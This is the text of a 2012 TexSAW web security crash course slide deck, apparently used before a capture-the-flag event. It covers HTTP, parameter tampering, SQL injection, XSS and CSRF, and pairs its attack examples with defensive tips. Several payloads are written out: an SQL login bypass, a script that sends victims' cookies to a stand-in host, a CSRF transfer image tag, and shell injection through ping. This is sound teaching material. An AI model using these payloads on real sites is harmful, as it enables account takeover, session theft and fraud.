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TEXSAW 2012WEB SECURITY CRASH COURSETexSAW 2012
Scott Hand
Introduction
Recommended Tools
Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc.
Knowing Python helps Very little else is needed, Backtrack
Linux is useful for many automated tools
What We’re Targeting
Web Applications Web Pages (HTML, PHP, etc.) Databases
Goal Steal data Gain access to system Bypass authentication blocks
Background
Web Servers
Web applications are really just an interface for accessing a web server
Example Web Servers: Apache IIS Nginx Self-contained servers for one application – Ruby
on Rails, Django, Sinatra, node.js, etc. Some servers like Apache resemble
navigating a file system, others use RESTful routing
HTTP
HTTP is the means of communication It is stateless
We get around this by using sessions Sessions are stored in browser cookies Side effect – If we steal someone’s cookies,
the web server will think we are the same user
HTTP Requests
Web traffic involves a Request and a Response
GET and POST are two main request methods
GET is for an action intended to ask the server for information
POST is for an action intended to tell the server to do something
Examples: GET used for showing your profile on a web site, POST used to update your profile information
HTTP Request Parameters
Along with the URL and request method, HTTP requests can also carry parameters
GET parameters Visible from the url:
http://www.url.com/page.php?arg1=a&arg2=b
Can be embedded easily in links POST parameters are not visible from
the URL and not easily embedded in links, however they can easily be altered
Example Scenario
Example Exchange for a Bank SiteViewing Homepage
User Web Server
GET
GET: index.php
INDEX
Database
Example Exchange for a Bank SiteLogging In
POST
POST: login.phpParameters: username,
password
Redirectto
account
Auth
OK
User Web Server Database
SET UP SESSION
Example Exchange for a Bank SiteTransferring Some Money
POST
POST: transfer.phpParameters: to, amount
Redirectto
account
Make changes
OK
User Web Server Database
Parameter Tampering
Tools
TamperData – Extension for Firefox Can intercept and modify requests Pretty powerful but can be tedious to use
repeatedly Live HTTP Headers – Extension for Firefox
Good for monitoring and replaying requests Fast and good as long as replaying traffic works
Burp Suite Separate program, works through proxy – browser
agnostic Can do just about everything
Example Attack
POST
POST: transfer.phpParameters: to, amount
Redirectto
account
Make changes
OK
User Web Server Database
Parameter Tampering
Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them. They trust that once they send the transaction to
PayPal, it will be resolved and they can send the product when the transaction is complete
PayPal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct
If we change the amount we pay to something small, neither party knows and we get the product for nothing
DEMO
Tips for Securing
Don’t trust requests by themselves! Many frameworks will sign requests that
they send to prevent tampering Thinking that users can’t alter POST data
because they can’t see it in their address bar is just weak security through obscurity
SQL Injections
Overview
SQL injection is part of a class of attacks in which we abuse poor programming to embed user-controlled data in trusted code run by the server
Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables:
$query = “SELECT * from users ”. “WHERE username = ‘” . $username. “’ AND password = ‘” . $password . “’”;
Example Attack
POST
POST: login.phpLets look at the SQL and the
attack...
Redirectto
account
Auth
OK
User Web Server Database
Behind the Scenes for login.php $query = “SELECT * from users ”
. “WHERE username = ‘” . $username
. “’ AND password = ‘” . $password . “’”;
Examine the result to see if the user is selected.
Sample normal query after input:SELECT * from users WHERE name=‘user’ AND password=‘password’
Sample attack password: ’ OR ‘1’=‘1 Resulting query:
SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’
Always returns true, bypasses authentication
Other Types of Attacks
Can add INSERTS, UPDATES, etc. if multiple queries are supported
Blind SQL Injection Needed when the results of a query are not
displayed or even acknowledged Use side channel attacks – sleep for a certain
amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password
sqlmap works wonders to help automate this
DEMO
Tips for Securing
USE PREPARED STATEMENTS Don’t plug user input into queries Don’t escape user tainted queries SERIOUSLY USE PREPARED STATEMENTS THEY’RE NOT EVEN HARD TO USE
Cross Site Scripting (XSS)
Overview
Basic idea is to exploit the trust that your browser places in the website it’s viewing
Embed malicious code in the webpage and your browser will execute it
Two Types: Reflected – Client-side. In request
parameters or URL. Requires that a user click the malicious link or form.
Stored – Server-side. Embedded in a web page and hits every visitor that views the page.
Some Goals
Steal cookies Since JavaScript can access cookies, you
can send the victim’s cookies to yourself:<script>$.get(‘www.badurl.com/?cookie=’ + document.cookie);<script>
Mimic real user behavior Fill out and submit forms Open IFRAMEs to maintain access Redirect to other pages
Example Exchange for a Bank SiteViewing Homepage
User Web Server
GET
GET: index.php
INDEX
DatabaseInfect
Bad Guy
Session
DEMO
Tips for Securing
Developers Never, ever allow unauthorized users the
ability to embed HTML into your page. Escape every single bit of user input you
get, it’s all dangerous Users
Use NoScript or similar plugin Don’t click a link with a bunch of JavaScript
in the URL
Cross Site Request Forgery (CSRF)
Overview
Exploit the trust that the web server places in the victim’s browser
It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused
Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS
Example Exchange for a Bank SiteTransferring Some Money
POST
POST: transfer.phpParameters: to=BAD GUY,
1000000
Redirectto
account
Make changes
OK
User Web Server DatabaseBad Guy
Ways to Trigger
An image:<img src=“http://www.bank.com/transfer?to=1337&amount=1000000” />
XSS:$.get(‘./profile.php’, function(data) { // evil });
DEMO
Tips for Securing
Only trust requests from your site Use CSRF-protection tokens – one time
tokens for forms – included in most web frameworks
Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers
Not much you can do as a user
General Tips
Look at Requests!
Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc.
Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you
Inject Everything
If you think it’s using your data in SQL, try some SQL injection
If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like &&
If you think it’s running HTML, throw in some JavaScript
Situational Awareness
Pay close attention to what kind of web server you’re dealing with
Some web servers or web frameworks are more susceptible than others to certain attacks
For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much
Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input
JavaScript – It does a lot
If you have jQuery on your website, use it! You can issue requests and parse the
results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page)
It gives you tools for shorter JavaScript payloads, especially handy when space is critical
Pretty much anything on the user’s end can be scripted and altered
Any questions?
That’s all, CTF Time!
Presented by Scott Hand (utdallas.edu/~shand)
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